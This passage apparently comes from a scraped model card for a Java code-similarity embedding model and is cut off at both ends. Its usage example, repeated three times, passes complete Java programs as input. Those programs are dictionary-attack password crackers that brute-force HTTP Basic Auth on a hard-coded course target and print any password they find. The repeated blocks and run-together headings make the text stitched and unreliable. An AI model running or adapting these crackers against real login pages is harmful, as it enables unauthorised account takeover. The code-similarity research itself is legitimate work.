    byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while 